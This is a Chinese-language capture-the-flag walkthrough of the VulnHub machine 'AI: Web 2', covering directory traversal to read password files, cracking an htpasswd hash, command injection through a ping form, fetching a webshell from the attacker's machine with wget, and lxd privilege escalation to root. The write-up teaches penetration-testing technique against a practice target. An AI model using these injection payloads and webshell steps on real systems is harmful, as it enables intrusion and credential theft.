标签:文件读取、爆破、命令注入、敏感文件泄露、lxd提权
0x00 环境准备
下载地址:https://www.vulnhub.com/entry/ai-web-2,357/
flag数量:1
攻击机:kali
攻击机地址:192.168.5.3
靶机描述:
Difficulty: Intermediate
Network: DHCP (Automatically assign)
Network Mode: NAT
This is the second box from the series AI: Web and you will have more fun to crack this challenge. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root.
You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.
For any hint please tweet on @arif_xpress
0x01信息搜集
1.探测靶机地址
命令:arp-scan -l

靶机地址是192.168.5.4
2.探测靶机开放端口
命令:nmap -sV -p- 192.168.5.4

开放了22端口和80端口,先看一下80端口

不是CMS。尝试sql注入,不存在sql注入。
3.目录扫描
那就扫描一下目录吧,命令:dirb http://192.168.5.4

其中有个wenadmin的文件,访问看一下

是个登录页面,尝试几个弱口令,不行。
那就看看其他功能吧。
0x02 文件读取
看到有个注册的按钮,那就先注册一个账户试试。

注册后去登录

登录后是这个页面,这里有个Welcome to XuezhuLi FileSharing
标语,去搜索引擎查一下xuezhuli filesharing

发现这是一个github上的项目,2016年的项目,项目链接:https://github.com/XuezhuLi/FileSharing
查一下有没有漏洞

找到了两个漏洞,第一个漏洞是CSRF,危害不大,也不好利用;第二个是文件遍历,这个可以读取一些文件,用这个。漏洞利用链接:https://www.exploit-db.com/exploits/40009

使用burp抓包利用一下

利用成功,读取到了/etc/passwd文件,刚才从插件上得知这是个apache的系统,刚才还找到了登录页面,apache系统一般会有一个认证文件,里面保存着账号密码。既然现在可以读取文件,那就读取一下apache的认证文件。

爆破出了apache的认证文件,目录:/etc/apache2/.htpasswd
账号密码:aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
账号是aiweb2admin,密码被加密了,使用john解密一下。
0x03 john爆破
提示中说用rockyou字典,将上面的账号密码保存一下,然后爆破。命令:john --wordlist=/usr/share/wordlists/rockyou.txt aiweb2.txt

爆破出来了,账号密码:aiweb2admin \ c.ronaldo
0x04 命令注入
在http://192.168.5.4/webadmin/
下发现了robots.txt文件

访问http://192.168.5.4/webadmin/H05Tpin9555/
发现是一个执行ping命令的页面

使用burp抓包尝试绕过,执行其他命令。发现使用“|”
可以绕过

尝试反弹shell,但是不成功。
使用wget下载一句话试试,在kali上创建一句话文件,为了保险,我既写了一句话,又写了反弹shell:

然后建立一个临时服务器,命令:python -m SimpleHTTPServer

使用wget下载shell.php,命令:wget http://192.168.5.3:8000/shell.php

访问一下看看,没有报404,应该是下载成功了,验证一句话:

一句话可以执行,连菜刀,报错了

我上网查了一下401错误:
如果这种通过浏览器的检查表明没有授权问题,则可能是您的 Web 服务器 ( 或周边系统 ) 被设置为不允许某种 HTTP 传输模式。 换句话说就是, 来自一个知名浏览器的 HTTP 通讯是允许的, 但来自其他系统的自动通讯则被拒绝, 并生成 401 错误代码。这是一种异常情况, 但是也许表明您的 Web 服务器周围 采取了非常具有防御性的安全策略。
这样看来不能用菜刀这类的网站管理工具了,换个其他的思路吧。
401错误解决方法:basic认证
0x05 密码文件——得来全不费工夫
既然不能使用一句话,那就看一下当前目录有什么文件吧
命令:ip=127.0.0.1|pwd&Submit=Submit
回显:
/var/www/html/webadmin/H05Tpin9555
命令:ip=127.0.0.1|ls&Submit=Submit
回显:
index.php
shell.php
style-main.css
没什么可利用的,看看上一级webadmin目录下有什么
命令:ip=127.0.0.1|ls /var/www/html/webadmin&Submit=Submit
回显:
H05Tpin9555
S0mextras
index.html
robots.txt
访问http://192.168.5.4/webadmin/S0mextras/
看看

提示发现了juicy的信息,查看一下这个目录下有什么文件
命令:ip=127.0.0.1|ls /var/www/html/webadmin/S0mextras&Submit=Submit
回显:
index.htm
只有一个文件,这跟提示不符啊,应该是有隐藏文件
命令:ip=127.0.0.1|ls -la /var/www/html/webadmin/S0mextras&Submit=Submit
回显:
/var/www/html/webadmin/S0mextras:
index.html
可能是无法使用-la参数,用find命令试一下
命令:ip=127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras&Submit=Submit
回显:
./style-main.css
./index.php
./shell.php
/var/www/html/webadmin/S0mextras
/var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
/var/www/html/webadmin/S0mextras/index.html
这下发现了隐藏文件,.sshUserCred55512.txt
文件从文件名上来看应该是和ssh登录有关,用cat命令查看一下。
命令:ip=127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt&Submit=Submit
回显:
User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf
0x06 提权
拿到了账号密码,使用ssh登录一下。命令:ssh n0nr00tuser@192.168.5.4

登录成功
命令:sudo -l

不能使用sudo
那就使用LinEnum工具扫描一下可以利用哪些信息提权。
创建一个临时服务器,然后靶机切换到/tmp目录下,wget下载LinEnum.sh文件

然后给文件赋权,执行文件,由于输出信息比较多,这里使用-r参数指定将输出信息输出到report.txt文件中。命令:./LinEnum.sh -r report.txt

在文件的最后发现可以利用lxd漏洞

找一下lxd的漏洞,命令:searchsploit lxd

把它复制过来

使用vi
命令打开,然后输入:set ff=unix
,然后输入:wq
回车保存退出。如果不设置ff=unix
会报错。

cat 46978.sh
发现,运行脚本的时候还需要一个文件,文件地址https://github.com/saghul/lxd-alpine-builder
将文件下载到kali上,然后给权限运行

运行后它会下载一个tar.gz的文件,我下载用了很长时间,而且并不是一次就下载成功了,我下载了三次才成功,下载成功的截图

下载成功后会出现一个tar.gz文件,这个文件是以时间戳命名的

在kali上创建临时服务器,将需要用到的两个文件下载到靶机上(由于kali换了新的镜像,现在的kali地址是192.168.5.9)

在靶机上切换到/tmp目录,下载两个文件

给46978.sh文件可执行权限,然后运行

已经是root权限了,flag.txt文件在/mnt/root/root
下

0x07 小结
从文件读取漏洞开始,读取到apach的配置文件,拿到账号密码,在进入网站后台后,又发现了命令注入漏洞,通过这个漏洞又找到了ssh的账号密码文件,登录ssh后开始提权。首先使用LinEnum.sh文件扫描漏洞,发现了lxd漏洞。整体的难点或者说麻烦的地方在于运行build-alpine文件,这个地方浪费了很多时间。
由于我不会每天都登录简书,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“简书”
参考链接:
1.http 401错误解析
2.Basic认证
3.AI: Web: 2靶机-Walkthrough
4.AI: WEB: 2 VULNHUB WALKTHROUGH
网友评论